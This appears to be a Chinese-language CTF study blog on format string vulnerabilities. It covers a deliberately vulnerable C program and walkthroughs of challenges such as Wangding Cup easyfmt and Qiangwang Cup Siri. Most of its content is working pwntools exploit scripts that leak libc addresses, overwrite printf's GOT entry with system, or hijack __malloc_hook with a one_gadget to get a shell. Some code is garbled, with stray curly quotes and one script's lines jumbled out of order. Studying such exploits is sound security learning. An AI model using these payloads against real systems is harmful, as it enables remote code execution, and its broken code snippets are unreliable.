pwn入门-栈上格式化字符串

你想有多pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf[0x100] ;
while(1){
puts("input:");
read(0,buf,0x100);
if(!strncmp(buf,"quit",4)) break;
printf(buf);
}
return 0;
}

int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_level_1.c -z lazy -o fmt_str_level_1_x64
//gcc -m32 fmt_str_level_1.c -z lazy -o fmt_str_level_1_x86

image-20250109102134047

image-20250109102202450

image-20250109102653956

image-20250109103013787

第7个参数(算上0)

  1. 找到偏移

  2. 任意地址写入

  3. 修改什么地方的值

    • 栈 :可以把返回地址改成system(/bin/sh)
    • got表项(partial reload):print表项。把buf改成bin sh,print改成system表项
    • onegadget
    • malloc_hook:printf
    • iofile
  4. 怎么找到system地址

    • 先泄露got表地址
    • 如有PIE,需利用内存中和有的地址来间接计算(最好泄露返回地址)

把上面的改成一个地址,然后把88改成4

image-20250109103731329

32位栈很长,stack80

image-20250109104007886

image-20250109104528005

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level='debug',arch='i386', os='linux')
pwnfile= './fmt_str_level_1_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = elf.libc

io.recvuntil('input:\n')

payload_search_main = b'%75$p' # 4个字节 8个字长 泄露got表地址,我们不知道got表地址(PIE) 如果怕后面字符影响可以改成%75$p\x00

gdb.attach(io)
io.send(payload_search_main)

main_30 = int(io.recv()[2:10],16)
main_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_addr - offset

print("puts_got is :" , hex(puts_got))

printf地址是0xffffcf70

返回地址是0xffffd09c

image-20250109111905542

%75$p可以泄露main+30地址

0x5655638e

到这里先停一下,有点乱,捋一下

1️⃣ 为什么要找 main 的返回地址?

在开启 PIE时,程序的地址空间是随机的。泄露某个已知的地址可以帮助我们计算程序的基地址。

main 的返回地址是存储在栈上的。我们通过格式化字符串漏洞泄露 main 的返回地址,可以间接推算出 main 函数的真实地址,从而计算出程序基地址(即加载偏移量)。

2️⃣ 为什么要求 main_addr

通过 main 返回地址泄露,能够反推出 main 函数的真实地址。

  • main_addr 是程序的基地址加上 main 函数的相对偏移。
  • 一旦知道了 main_addr,可以用它计算程序的基地址,基地址 = main_addr - main 的偏移

这个地址是真实地址,而elf.symbols[‘main’]

所以下面的代码,其实也有两种写法,先继续介绍视频的解法

3️⃣ 为什么 offset = elf.symbols['main'] - elf.got['put'] 就能算出偏移?

  • elf.symbols['main']:这是 main 函数在可执行文件中的偏移(相对于程序基地址)。
  • elf.got['puts']:这是 puts 的 GOT 表地址(相对于基地址)。

两者的差值 offset 是固定的,表示 mainputs 的 GOT 表之间的偏移。

在泄露出 main_addr 后,通过 main_addr - offset,我们可以计算出 puts 的 GOT 表地址。

elf.symbols[‘main’]= 基地址+main地址

elf.got[‘put’] = 基地址+ put地址

两者都有基地址

因此 offset = elf.symbols['main'] - elf.got['put']算的是两者之间的地址差

4️⃣ puts_got = main_addr - offset 是在做什么?

这一操作的目的是通过 main_addr 计算 puts 的 GOT 表地址。

我们前面得到了offset,可以间接计算出 puts 的 GOT 表在内存中的实际地址。

5️⃣ GOT 表项起到什么作用?为什么要修改?

GOT 表的作用:

  • GOT 表存储了外部函数的实际地址(例如 puts 的真实地址)。
  • 动态链接的程序在第一次调用外部函数时会通过 GOT 表解析实际地址,后续直接从 GOT 表读取函数地址。

为什么要修改 GOT 表?

  • 我们可以通过格式化字符串漏洞修改 GOT 表中的某一项为恶意地址(比如 system)。
  • 当程序调用这个函数时,实际上会跳转到我们指定的地址,从而执行任意命令。

最后:

当然本题我们也可以base_addr = main_addr - elf.symbols[‘main’]

算出基地址,然后把elf.got[‘put’]-base_addr算出偏移地址

有点麻烦0.0,算了(这里其实我搞错了,往下看就知道了)

加\x00的作用

作用 1:确保字符串在 C 函数中正确终止

  • 格式化字符串在 C 中必须以 NULL 字节(即 \x00)结束,表示字符串的结束符。
  • 如果没有显式添加 \x00,有些情况下可能会导致字符串读取过多内容(越界)或处理错误。

作用 2:防止格式化输出中包含额外数据

  • 如果没有明确的结束符 \x00,**sendrecv 函数可能会将多余的无关数据一起发送或读取**。
  • 在这种情况下,%75$p 后可能会携带垃圾数据,影响输出结果的准确性。

作用 3:避免栈数据污染:在格式化字符串攻击中,%p 的作用是输出一个指针值。如果没有明确结束符,可能会污染接下来的数据处理。

image-20250109142917126

接下来做的是泄露puts的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(log_level='debug',arch='i386', os='linux')
pwnfile= './fmt_str_level_1_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

libc_file_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

io.recvuntil('input:\n')

payload_search_main = b'%75$p' # 4个字节 8个字长 泄露got表地址,我们不知道got表地址(PIE) 如果怕后面字符影响可以改成%75$p\x00

io.send(payload_search_main)

main_30 = int(io.recv()[2:10],16)
main_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_addr - offset

print("puts_got is :" , hex(puts_got))

paload4searchbase = flat([puts_got, b'%7$s\x00'])
io.send(paload4searchbase)
io.recv(4)
puts_addr = u32(io.recv(4))

print("puts_addr is :" , hex(puts_addr))

gdb.attach(io)
pause()

image-20250109145151431

不要前4个

接下来是应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(log_level='debug', arch='i386', os='linux')
pwnfile = './fmt_str_level_1_x86'
io = process(pwnfile)
# io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

dem = 'input:\n'
# 加载本地 libc 文件,用于计算偏移
libc_file_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

io.recvuntil('input:\n')

# 泄露 main 的返回地址
payload_search_main = b'%75$p\x00' # # 4个字节 8个字长 泄露got表地址,我们不知道got表地址(PIE) 如果怕后面字符影响可以改成%75$p\x00
io.send(payload_search_main)

main_30 = int(io.recv()[2:10], 16) # 截取泄露的返回地址
main_addr = main_30 - 30 # 计算 main 函数的实际地址
offset = elf.symbols['main'] - elf.got['puts'] # 计算 main 和 puts 的偏移
puts_got = main_addr - offset # 根据偏移计算 puts 的 GOT 表地址

print("puts_got is :", hex(puts_got))

# 泄露 puts 函数的真实地址
paload4searchbase = flat([puts_got, b'%7$s\x00'])
io.send(paload4searchbase)
io.recv(4) # 忽略多余字符
puts_addr = u32(io.recv(4)) # 读取 puts 的真实地址
print("puts_addr:", hex(puts_addr))

# 计算 libc 基址
libc_offset_puts = libc.symbols['puts'] # libc 中 puts 的偏移
libc_addr = puts_addr - libc_offset_puts # 计算 libc 的基址
print("libc_addr:", hex(libc_addr))

# 计算 system 函数和 "/bin/sh" 的地址
system_offset = libc.symbols['system'] # libc 中 system 的偏移
system_addr = libc_addr + system_offset # 计算 system 的真实地址
print('system_addr:', hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh')) # libc 中 "/bin/sh" 的偏移
bin_sh_addr = libc_addr + bin_sh_offset # 计算 "/bin/sh" 的真实地址
print('bin_sh_addr:', hex(bin_sh_addr))

def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')


def fmt_str(offset, size, addr, target):
# offset 偏移位置 size 32?64 addr写入地址 target 写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

sys_addr_bytes = str(system_addr).encode('utf-8')
offset = elf.symbols['main'] - elf.got['printf']
printf_got = main_addr - offset

payload4writeprintfgot = fmtstr_payload(7 , {printf_got : system_addr})
#payload4writeprintfgot = fmt_str(7 , 4 , printf_got , system_addr)

#payload4writeprintfgot = p32(printf_got) + b"%" + sys_addr_bytes + b"c%7$hhn\x00"
io.sendafter(dem , payload4writeprintfgot)

io.sendafter(dem , b'/bin/sh\x00')
io.interactive()

libc_addr = main_addr - libc.symbols[‘main’]不行,所以我上面说错了,它不属于 libc,因此不能直接用于计算 libc 的基址。

image-20250109151618561

pwntools:

1
fmtstr_payload(offset,writes,numbwritten=0,write size='byte')

第一个参数表示格式化字符串的偏移:

第二个参数表示需要利用写入的数据,采用字典形式,格式{目标地址:准备修改的值】

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可:

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload

payload_fmtstr payload(offset,{address1:value1})

最终的几个问题:

获得 printf_got 的地址后,把 GOT 中 printf 的地址改成 system 的地址

效果:结合输入的 "/bin/sh",触发 system("/bin/sh"),从而获得一个 shell。

示例:如何把 sys_addr_bytes 写入到目标地址(GOT 表)

payload4writeprintfgot = p32(printf_got) + b”%” + sys_addr_bytes + b”c%7$hhn\x00”怎么理解?

我也不会,如果有人想通了可以告诉我

这是我目前的理解:

假如要改写成0x08048420

我们是诸字节修改,就比如先修改0x20,也就是%20c,生成了20个字符,字符数就是20,那么最后写入就是20(这只是我的猜测),下面的也是一样的

逐字节修改

通过格式化字符串逐字节修改 printf_got

  1. 先修改 printf_got 的最低字节为 0x20
  2. 再修改次低字节为 0x84
  3. 然后修改次高字节为 0x04
  4. 最后修改最高字节为 0x08

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
pwnfile = './fmt_str_level_1_x64'
io = process(pwnfile)
# io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

dem = 'input:\n'
# 加载本地 libc 文件,用于计算偏移
libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')


def fmt_str(offset, size, addr, target):
# offset 偏移位置 size 32?64 addr写入地址 target 写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

dem = 'input:\n'
io.recvuntil('input:\n')
payload_search_main = b'%41$p\x00'
io.send(payload_search_main)
main_28 = int(io.recv()[2:14],16)
main_addr = main_28 - 28
offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_addr - offset
print("puts_got is",hex(puts_got))

payload4searchbase = flat([b'%7$saaaa' , puts_got])
io.send(payload4searchbase)
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print("puts_addr is",hex(puts_addr))

# 计算 libc 基址
libc_offset_puts = libc.symbols['puts'] # libc 中 puts 的偏移
libc_addr = puts_addr - libc_offset_puts # 计算 libc 的基址
print("libc_addr:", hex(libc_addr))

# 计算 system 函数和 "/bin/sh" 的地址
system_offset = libc.symbols['system'] # libc 中 system 的偏移
system_addr = libc_addr + system_offset # 计算 system 的真实地址
print('system_addr:', hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh')) # libc 中 "/bin/sh" 的偏移
bin_sh_addr = libc_addr + bin_sh_offset # 计算 "/bin/sh" 的真实地址
print('bin_sh_addr:', hex(bin_sh_addr))

sys_addr_bytes = str(system_addr).encode('utf-8')
offset = elf.symbols['main'] - elf.got['printf']
printf_got = main_addr - offset

payload4writeprintfgot = fmtstr_payload(6 , {printf_got : system_addr})
#payload4writeprintfgot = fmt_str(6 , 8 , printf_got , system_addr)

#payload4writeprintfgot = p32(printf_got) + b"%" + sys_addr_bytes + b"c%7$hhn\x00"
io.sendafter(dem , payload4writeprintfgot)

io.sendafter(dem , b'/bin/sh\x00')
io.interactive()

星盟

网鼎杯2018easyfmt(32位)

image-20250111172911957

image-20250111180501086

有几个问题,在学习国资师傅时没有处理好,这里解决了,记录下:

  1. 为什么printf_got的地址要放在两个栈上?

    其实栈上不是直接存放printf_got而是存储指向printf_got的指针

    栈中存储的是参数,比如目标地址的指针(例如0xf7e666800xf7e66682)。

    %n操作会将格式化字符串的输出字节数写入栈中的目标地址所指向的内存,而不是直接对栈上的内容操作。

    因此我们在修改的时候是修改它的指向,改变指向指到system

  2. 为什么分两份而不能一份?

    因为我们在修改时,为了修改一个4字节的地址(例如0xf7e66680),需要分两步分别写入低2字节高2字节,每一步都需要对应的目标地址。%hn只能修改两个字节,用%n可能会出问题

  3. 栈中第一个和第二个位置存放的指向0xf7e66680和0xf7e66682地址,是什么时候指向的(什么时候被修改指向这两个地址的,什么时候在栈上的)

    1
    payload = p32(printf_got) + p32(printf_got + 2)

    将目标地址printf_got(例如0xf7e66680)和目标地址的高字节部分地址printf_got+2(例如0xf7e66682)以小端序的形式写入payload

    这里的 p32()pwntools 提供的函数,它将地址转换为 4 字节的小端序格式。

    就已经把它放到栈上了,刚好是两个栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level='debug'
io=process('./wdb_2018_2nd_easyfmt')
elf=ELF('./wdb_2018_2nd_easyfmt')
libc=ELF('/usr/lib/freelibs/i386/2.23-0ubuntu11.2_i386/libc-2.23.so')
printf_got=elf.got['printf']
payload='%3$p'
io.recvuntil('Do you know repeater?\n')
io.send(payload)
sleep(0.2)
libc_base=int(io.recv(10),16)-0x9079b
system_addr=libc_base+libc.symbols['system']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
system_low=system_addr&0xffff
system_high=(system_addr>>16)&0xffff
payload=p32(printf_got)+p32(printf_got+2)
payload+='%'+str(system_low-8)+'c%6$hn'
payload+='%'+str(system_high-system_low)+'c%7$hn’
io.send(payload)
sleep(0.2)
io.send('/bin/sh\x00')
io.interactive()

强网杯2020siri(64位 full relro)

如何利用?上一题我们劫持了程序的got表,但这一题是FULL RELRO,got表不可写。这里介绍两种利用方式:劫持malloc_hook/free_hook,劫持返回地址。

image-20250111181555210

image-20250111181640732

image-20250111182613453

image-20250111182706678

image-20250111182815488

onegadget是什么?

one_gadget的一些姿势 - unr4v31 - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level='debug'
io=process('./Siri')
libc=ELF('./libc.so.6')

def siri(payload):
io.recvuntil('>>> ')
io.send('Hey Siri!')
io.recvuntil('>>> ')
data='Remind me to '+payload
io.send(data)
#gdb.attach(io)
siri('%83$p')
io.recvuntil(">>> OK, I'll remind you to ")
libc_base=int(io.recv(14),16)-231-libc.symbols['__libc_start_main']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
onegadget=libc_base+0x10a45c
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('malloc_hook => {}'.format(hex(malloc_hook)))
log.success('onegadget => {}'.format(hex(onegadget)))
write_size=0
offset=55
payload=''
for i in range(3):
num=(onegadget>>(16*i))&0xffff
num-=27
if num>write_size&0xffff:
payload+='%{}c%{}$hn'.format(num-(write_size&0xffff),offset+i)
write_size+=num-(write_size&0xffff)
else:
payload+='%{}c%{}$hn'.format((0x10000-(write_size&0xffff))+num,offset+i)
write_size+=0x10000-(write_size&0xffff)+num
payload=payload.ljust(0x38-13,'a')
for i in range(3):
payload+=p64(malloc_hook+i*2)
siri(payload)
io.recvuntil('>>> ')
io.send('Hey Siri!')
io.recvuntil('What Can I do for you?\n>>> ')
io.send('Remind me to %99999c')
io.interactive()

法2劫持返回地址

image-20250111184621775

网鼎杯2020 quantum_entanglement

两次机会

32位程序,开启了栈不可执行和栈溢出检测

image-20250111191011428

image-20250111191737498

1
2
3
4
5
6
7
from pwn import *                         io.recv()
context.log_level='debug’ io.sendline(payload2)
io=process('./quantum_entanglement’) io.interactive()
payload1='%*19$c%44$hn'
payload2='%*18$c%118$n'
io.recvuntil('FirstName:')
io.sendline(payload1)

ciscn_2019_sw_1

一次机会

image-20250111192403265

image-20250111192621799

image-20250111192638007

image-20250112115026904